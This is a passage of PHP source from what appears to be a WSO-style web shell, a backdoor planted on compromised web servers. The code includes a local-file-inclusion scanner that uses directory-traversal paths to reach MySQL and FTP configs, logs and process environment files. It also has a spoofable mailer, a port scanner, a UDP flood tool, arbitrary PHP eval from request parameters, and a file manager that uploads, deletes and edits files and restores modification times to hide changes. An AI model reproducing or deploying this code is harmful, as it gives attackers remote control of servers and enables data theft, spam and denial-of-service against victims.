9 =>"../../../../../../../../../../../../../../../var/log/mysqld.log".$byte1."",
10 =>"../../../../../../../../../../../../../../../etc/my.cnf".$byte1."");
$lfiftp = array(
1 =>"../../../../../../../../../../../../../../../etc/logrotate.d/proftpd".$byte1."",
2 =>"../../../../../../../../../../../../../../../www/logs/proftpd.system.log".$byte1."",
3 =>"../../../../../../../../../../../../../../../var/log/proftpd".$byte1."",
4 =>"../../../../../../../../../../../../../../../etc/proftp.conf".$byte1."",
5 =>"../../../../../../../../../../../../../../../etc/protpd/proftpd.conf".$byte1."",
6 =>"../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf".$byte1."",
7 =>"../../../../../../../../../../../../../../../etc/proftpd/modules.conf".$byte1."",
8 =>"../../../../../../../../../../../../../../../var/log/vsftpd.log".$byte1."",
9 =>"../../../../../../../../../../../../../../../etc/vsftpd.chroot_list".$byte1."",
10 =>"../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log".$byte1."",
11 =>"../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf".$byte1."",
12 =>"../../../../../../../../../../../../../../../etc/vsftpd.conf".$byte1."",
13 =>"../../../../../../../../../../../../../../../etc/chrootUsers".$byte1."",
14 =>"../../../../../../../../../../../../../../../var/log/xferlog".$byte1."",
15 =>"../../../../../../../../../../../../../../../var/adm/log/xferlog".$byte1."",
16 =>"../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess".$byte1."",
17 =>"../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts".$byte1."",
18 =>"../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers".$byte1."",
19 =>"../../../../../../../../../../../../../../../usr/sbin/pure-config.pl".$byte1."",
20 =>"../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf".$byte1."",
21 =>"../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf".$byte1."",
22 =>"../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf".$byte1."",
23 =>"../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb".$byte1."",
24 =>"../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb".$byte1."",
25 =>"../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl".$byte1."",
26 =>"../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf".$byte1."",
27 =>"../../../../../../../../../../../../../../../etc/pure-ftpd.conf".$byte1."",
28 =>"../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb".$byte1."",
29 =>"../../../../../../../../../../../../../../../etc/pureftpd.pdb".$byte1."",
30 =>"../../../../../../../../../../../../../../../etc/pureftpd.passwd".$byte1."",
31 =>"../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb".$byte1."",
32 =>"../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/".$byte1."",
33 =>"../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/".$byte1."",
34 =>"../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/".$byte1."",
35 =>"../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/".$byte1."",
36 =>"../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log".$byte1."",
37 =>"../../../../../../../../../../../../../../../logs/pure-ftpd.log".$byte1."",
38 =>"../../../../../../../../../../../../../../../var/log/pureftpd.log".$byte1."",
39 =>"../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log".$byte1."",
40 =>"../../../../../../../../../../../../../../../var/log/ftp-proxy".$byte1."",
41 =>"../../../../../../../../../../../../../../../var/log/ftplog".$byte1."",
42 =>"../../../../../../../../../../../../../../../etc/logrotate.d/ftp".$byte1."",
43 =>"../../../../../../../../../../../../../../../etc/ftpchroot".$byte1."",
44 =>"../../../../../../../../../../../../../../../etc/ftphosts".$byte1."");
$x = 1;
if ( $type == 1 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
while($lfiaccess[$x]) {
$res3 = FetchURL($target.$lfiaccess[$x]);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiaccess[$x]."\">".$target."".$lfiaccess[$x]."</a><br />";
}
else {
print "<font color='red'>[!] Failed!</font>".$target."".$lfiaccess[$x]."<br />";
}
$x++;
}
}
}
if ( $type == 2 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
while($lficonfig[$x]) {
$res3 = FetchURL($target.$lficonfig[$x]);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lficonfig[$x]."\">".$target."".$lficonfig[$x]."</a><br />";
}
else {
print "<font color='red'>[!] Failed!</font>".$target."".$lficonfig[$x]."<br />";
}
$x++;
}
}
}
if ( $type == 3 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
while($lfierror[$x]) {
$res3 = FetchURL($target.$lfierror[$x]);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfierror[$x]."\">".$target."".$lfierror[$x]."</a><br />";
}
else {
print "<font color='red'>[!] Failed!</font>".$target."".$lfierror[$x]."<br />";
}
$x++;
}
}
}
if ( $type == 4 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
while($lfiphpini[$x]) {
$res3 = FetchURL($target.$lfiphpini[$x]);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiphpini[$x]."\">".$target."".$lfiphpini[$x]."</a><br />";
}
else {
print "<font color='red'>[!] Failed!</font>".$target."".$lfiphpini[$x]."<br />";
}
$x++;
}
}
}
if ( $type == 5 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
while($lfimysql[$x]) {
$res3 = FetchURL($target.$lfimysql[$x]);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfimysql[$x]."\">".$target."".$lfimysql[$x]."</a><br />";
}
else {
print "<font color='red'>[!] Failed!</font>".$target."".$lfimysql[$x]."<br />";
}
$x++;
}
}
}
if ( $type == 6 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
while($lfiftp[$x]) {
$res3 = FetchURL($target.$lfiftp[$x]);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiftp[$x]."\">".$target."".$lfiftp[$x]."</a><br />";
}
else {
print "<font color='red'>[!] Failed!</font>".$target."".$lfiftp[$x]."<br />";
}
$x++;
}
}
}
if ( $type == 7 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";{
$res3 = FetchURL($target.$lfiprocenv);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiprocenv."\">".$target."".$lfiprocenv."</a><br />";
}
else {
print "<font color='red'>[!] Failed!</font>".$target."".$lfiprocenv."<br />";
}
}
}
}
}
wsoFooter();
}
function actionphptools() {
wsoHeader();
;echo '<center>';
echo '<b>Mailer</b><br>
<form action="'.$surl.'" method=POST>
<input type="hidden" name="a" value="phptools">
<input type=text name=to value=to><br>
<input type=text name=from value=from><br>
<input type=text name=subject value=subject><br>
<input type=text name=body value=body><br>
<input type=submit name=submit value=Submit></form>';
if (isset($_POST['to']) &&isset($_POST['from']) &&isset($_POST['subject']) &&isset($_POST['body'])) {
$headers = 'From: '.$_POST['from'];
mail ($_POST['to'],$_POST['subject'],$_POST['body'],$headers);
echo 'Email sent.';
}
echo '<br><b>Port Scanner</b><br>';
$start = strip_tags($_POST['start']);
$end = strip_tags($_POST['end']);
$host = strip_tags($_POST['host']);
if(isset($_POST['host']) &&is_numeric($_POST['end']) &&is_numeric($_POST['start'])){
for($i = $start;$i<=$end;$i++){
$fp = @fsockopen($host,$i,$errno,$errstr,3);
if($fp){
echo 'Port '.$i.' is <font color=green>open</font><br>';
}
flush();
}
}else{
;echo '<form action="?" method="POST">
<input type="hidden" name="a" value="phptools">
Host:<br />
<input type="text" name="host" value="localhost"/><br />
Port start:<br />
<input type="text" name="start" value="0"/><br />
Port end:<br />
<input type="text" name="end" value="5000"/><br />
<input type="submit" value="Scan Ports" />
</form>
';
}
if(isset($_POST['host'])&&is_numeric($_POST['time'])){
$pakits = 0;
ignore_user_abort(TRUE);
set_time_limit(0);
$exec_time = $_POST['time'];
$time = time();
$max_time = $time+$exec_time;
$host = $_POST['host'];
for($i=0;$i<65000;$i++){
$out .= 'X';
}
while(1){
$pakits++;
if(time() >$max_time){
break;
}
$rand = rand(1,65000);
$fp = fsockopen('udp://'.$host,$rand,$errno,$errstr,5);
if($fp){
fwrite($fp,$out);
fclose($fp);
}
}
echo "<br><b>UDP Flood</b><br>Completed with $pakits (".round(($pakits*65)/1024,2) ." MB) packets averaging ".round($pakits/$exec_time,2) ." packets per second
";
echo '<br><br>
<form action="'.$surl.'" method=POST>
<input type="hidden" name="a" value="phptools">
Host: <input type=text name=host value=localhost>
Length (seconds): <input type=text name=time value=9999>
<input type=submit value=Go></form>';
}else{echo '<br><b>UDP Flood</b><br>
<form action=? method=POST>
<input type="hidden" name="a" value="phptools">
Host: <br><input type=text name=host value=localhost><br>
Length (seconds): <br><input type=text name=time value=9999><br>
<input type=submit value=Go></form>';
}
;echo '</center>';
wsoFooter();}
function actionPhp() {
if(isset($_POST['ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']) .'ajax'] = true;
ob_start();
eval($_POST['p1']);
$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"
\'") ."';
";
echo strlen($temp),"
",$temp;
exit;
}
wsoHeader();
if(isset($_POST['p2']) &&($_POST['p2'] == 'info')) {
echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
echo str_replace('<h1','<h2',$tmp) .'</div><br>';
}
if(empty($_POST['ajax']) &&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']) .'ajax'] = false;
echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
if(!empty($_POST['p1'])) {
ob_start();
eval($_POST['p1']);
echo htmlspecialchars(ob_get_clean());
}
echo '</pre></div>';
wsoFooter();
}
function actionFilesMan() {
wsoHeader();
echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
if(!empty($_POST['p1'])) {
switch($_POST['p1']) {
case 'uploadFile':
if(!@move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']))
echo "Can't upload file!";
break;
case 'mkdir':
if(!@mkdir($_POST['p2']))
echo "Can't create new dir";
break;
case 'delete':
function deleteDir($path) {
$path = (substr($path,-1)=='/') ?$path:$path.'/';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") ||(basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
@rmdir($path);
}
if(is_array(@$_POST['f']))
foreach($_POST['f'] as $f) {
if($f == '..')
continue;
$f = urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
}
break;
case 'paste':
if($_SESSION['act'] == 'copy') {
function copy_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f,$d.$s.'/');
}elseif(is_file($c.$s))
@copy($c.$s,$d.$s);
}
foreach($_SESSION['f'] as $f)
copy_paste($_SESSION['c'],$f,$GLOBALS['cwd']);
}elseif($_SESSION['act'] == 'move') {
function move_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f,$d.$s.'/');
}elseif(@is_file($c.$s))
@copy($c.$s,$d.$s);
}
foreach($_SESSION['f'] as $f)
@rename($_SESSION['c'].$f,$GLOBALS['cwd'].$f);
}elseif($_SESSION['act'] == 'zip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($_POST['p2'],1)) {
chdir($_SESSION['c']);
foreach($_SESSION['f'] as $f) {
if($f == '..')
continue;
if(@is_file($_SESSION['c'].$f))
$zip->addFile($_SESSION['c'].$f,$f);
elseif(@is_dir($_SESSION['c'].$f)) {
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
foreach ($iterator as $key=>$value) {
$zip->addFile(realpath($key),$key);
}
}
}
chdir($GLOBALS['cwd']);
$zip->close();
}
}
}elseif($_SESSION['act'] == 'unzip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
foreach($_SESSION['f'] as $f) {
if($zip->open($_SESSION['c'].$f)) {
$zip->extractTo($GLOBALS['cwd']);
$zip->close();
}
}
}
}elseif($_SESSION['act'] == 'tar') {
chdir($_SESSION['c']);
$_SESSION['f'] = array_map('escapeshellarg',$_SESSION['f']);
wsoEx('tar cfzv '.escapeshellarg($_POST['p2']) .' '.implode(' ',$_SESSION['f']));
chdir($GLOBALS['cwd']);
}
unset($_SESSION['f']);
break;
default:
if(!empty($_POST['p1'])) {
$_SESSION['act'] = @$_POST['p1'];
$_SESSION['f'] = @$_POST['f'];
foreach($_SESSION['f'] as $k =>$f)
$_SESSION['f'][$k] = urldecode($f);
$_SESSION['c'] = @$_POST['c'];
}
break;
}
}
$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if($dirContent === false) {echo 'Can\'t open this folder!';wsoFooter();return;}
global $sort;
$sort = array('name',1);
if(!empty($_POST['p1'])) {
if(preg_match('!s_([A-z]+)_(\d{1})!',$_POST['p1'],$match))
$sort = array($match[1],(int)$match[2]);
}
echo "<script>
function sa() {
for(i=0;i<d.files.elements.length;i++)
if(d.files.elements[i].type == 'checkbox')
d.files.elements[i].checked = d.files.elements[0].checked;
}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
$dirs = $files = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array('name'=>$dirContent[$i],
'path'=>$GLOBALS['cwd'].$dirContent[$i],
'modify'=>date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'] .$dirContent[$i])),
'perms'=>wsoPermsColor($GLOBALS['cwd'] .$dirContent[$i]),
'size'=>@filesize($GLOBALS['cwd'].$dirContent[$i]),
'owner'=>$ow['name']?$ow['name']:@fileowner($dirContent[$i]),
'group'=>$gr['name']?$gr['name']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS['cwd'] .$dirContent[$i]))
$files[] = array_merge($tmp,array('type'=>'file'));
elseif(@is_link($GLOBALS['cwd'] .$dirContent[$i]))
$dirs[] = array_merge($tmp,array('type'=>'link','link'=>readlink($tmp['path'])));
elseif(@is_dir($GLOBALS['cwd'] .$dirContent[$i])&&($dirContent[$i] != "."))
$dirs[] = array_merge($tmp,array('type'=>'dir'));
}
$GLOBALS['sort'] = $sort;
function wsoCmp($a,$b) {
if($GLOBALS['sort'][0] != 'size')
return strcmp(strtolower($a[$GLOBALS['sort'][0]]),strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] <$b['size']) ?-1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files,"wsoCmp");
usort($dirs,"wsoCmp");
$files = array_merge($dirs,$files);
$l = 0;
foreach($files as $f) {
echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title='.$f['link'] .'><b>[ '.htmlspecialchars($f['name']) .' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
$l = $l?0:1;
}
echo "<tr><td colspan=7>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='".htmlspecialchars($GLOBALS['cwd']) ."'>
<input type=hidden name=charset value='".(isset($_POST['charset'])?$_POST['charset']:'')."'>
<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
if(class_exists('ZipArchive'))
echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
echo "<option value='tar'>Compress (tar.gz)</option>";
if(!empty($_SESSION['act']) &&@count($_SESSION['f']))
echo "<option value='paste'>Paste / Compress</option>";
echo "</select> ";
if(!empty($_SESSION['act']) &&@count($_SESSION['f']) &&(($_SESSION['act'] == 'zip') ||($_SESSION['act'] == 'tar')))
echo "file name: <input type=text name=p2 value='wso_".date("Ymd_His") .".".($_SESSION['act'] == 'zip'?'zip':'tar.gz') ."'> ";
echo "<input type='submit' value='>>'></td></tr></form></table></div>";
wsoFooter();
}
function actionStringTools() {
if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
$stringTools = array(
'Base64 encode'=>'base64_encode',
'Base64 decode'=>'base64_decode',
'Url encode'=>'urlencode',
'Url decode'=>'urldecode',
'Full urlencode'=>'full_urlencode',
'md5 hash'=>'md5',
'sha1 hash'=>'sha1',
'crypt'=>'crypt',
'CRC32'=>'crc32',
'ASCII to HEX'=>'ascii2hex',
'HEX to ASCII'=>'hex2ascii',
'HEX to DEC'=>'hexdec',
'HEX to BIN'=>'hex2bin',
'DEC to HEX'=>'dechex',
'DEC to BIN'=>'decbin',
'BIN to HEX'=>'binhex',
'BIN to DEC'=>'bindec',
'String to lower case'=>'strtolower',
'String to upper case'=>'strtoupper',
'Htmlspecialchars'=>'htmlspecialchars',
'String length'=>'strlen',
);
if(isset($_POST['ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
ob_start();
if(in_array($_POST['p1'],$stringTools))
echo $_POST['p1']($_POST['p2']);
$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"
\'")."';
";
echo strlen($temp),"
",$temp;
exit;
}
wsoHeader();
echo '<h1>String conversions</h1><div class=content>';
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
foreach($stringTools as $k =>$v)
echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
if(!empty($_POST['p1'])) {
if(in_array($_POST['p1'],$stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
}
echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
<tr><td>Path:</td><td><input type='text' name='cwd' value='".htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
<tr><td></td><td><input type='submit' value='>>'></td></tr>
</table></form>";
function wsoRecursiveGlob($path) {
if(substr($path,-1) != '/')
$path.='/';
$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']),@glob($path.'*',GLOB_ONLYDIR)));
if(is_array($paths)&&@count($paths)) {
foreach($paths as $item) {
if(@is_dir($item)){
if($path!=$item)
wsoRecursiveGlob($item);
}else {
if(@strpos(@file_get_contents($item),@$_POST['p2'])!==false)
echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
}
}
}
}
if(@$_POST['p3'])
wsoRecursiveGlob($_POST['c']);
echo "</div><br><h1>Search for hash:</h1><div class=content>
<form method='post' target='_blank' name='hf'>
<input type='text' name='hash' style='width:200px;'><br>
<input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
<input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
<input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
<input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
</form></div>";
wsoFooter();
}
function actionFilesTools() {
if( isset($_POST['p1']) )
$_POST['p1'] = urldecode($_POST['p1']);
if(@$_POST['p2']=='download') {
if(@is_file($_POST['p1']) &&@is_readable($_POST['p1'])) {
ob_start("ob_gzhandler",4096);
header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST['p1']);
header("Content-Type: ".$type);
}else
header("Content-Type: application/octet-stream");
$fp = @fopen($_POST['p1'],"r");
if($fp) {
while(!@feof($fp))
echo @fread($fp,1024);
fclose($fp);
}
}exit;
}
if( @$_POST['p2'] == 'mkfile') {
if(!file_exists($_POST['p1'])) {
$fp = @fopen($_POST['p1'],'w');
if($fp) {
$_POST['p2'] = "edit";
fclose($fp);
}
}
}
wsoHeader();
echo '<h1>File tools</h1><div class=content>';
if( !file_exists(@$_POST['p1']) ) {
echo 'File not exists';
wsoFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST['p1']));
if(!$uid) {
$uid['name'] = @fileowner($_POST['p1']);
$gid['name'] = @filegroup($_POST['p1']);
}else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
if( empty($_POST['p2']) )
$_POST['p2'] = 'view';
if( is_file($_POST['p1']) )
$m = array('View','Highlight','Download','Hexdump','Edit','Chmod','Rename','Touch');
else
$m = array('Chmod','Rename','Touch');
foreach($m as $v)
echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
echo '<br><br>';
switch($_POST['p2']) {
case 'view':
echo '<pre class=ml1>';
$fp = @fopen($_POST['p1'],'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp,1024));
@fclose($fp);
}
echo '</pre>';
break;
case 'highlight':
if( @is_readable($_POST['p1']) ) {
echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
$code = @highlight_file($_POST['p1'],true);
echo str_replace(array('<span ','</span>'),array('<font ','</font>'),$code).'</div>';
}
break;
case 'chmod':
if( !empty($_POST['p3']) ) {
$perms = 0;
for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
$perms += (int)$_POST['p3'][$i]*pow(8,(strlen($_POST['p3'])-$i-1));
if(!@chmod($_POST['p1'],$perms))
echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o',fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
break;
case 'edit':
if( !is_writable($_POST['p1'])) {
echo 'File isn\'t writeable';
break;
}
if( !empty($_POST['p3']) ) {
$time = @filemtime($_POST['p1']);
$_POST['p3'] = substr($_POST['p3'],1);
$fp = @fopen($_POST['p1'],"w");
if($fp) {
@fwrite($fp,$_POST['p3']);
@fclose($fp);
echo 'Saved!<br><script>p3_="";</script>';
@touch($_POST['p1'],$time,$time);
}
}
echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
$fp = @fopen($_POST['p1'],'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp,1024));
@fclose($fp);
}
echo '</textarea><input type=submit value=">>"></form>';
break;
case 'hexdump':
$c = @file_get_contents($_POST['p1']);
$n = 0;
$h = array('00000000<br>','','');
$len = strlen($c);
for ($i=0;$i<$len;++$i) {
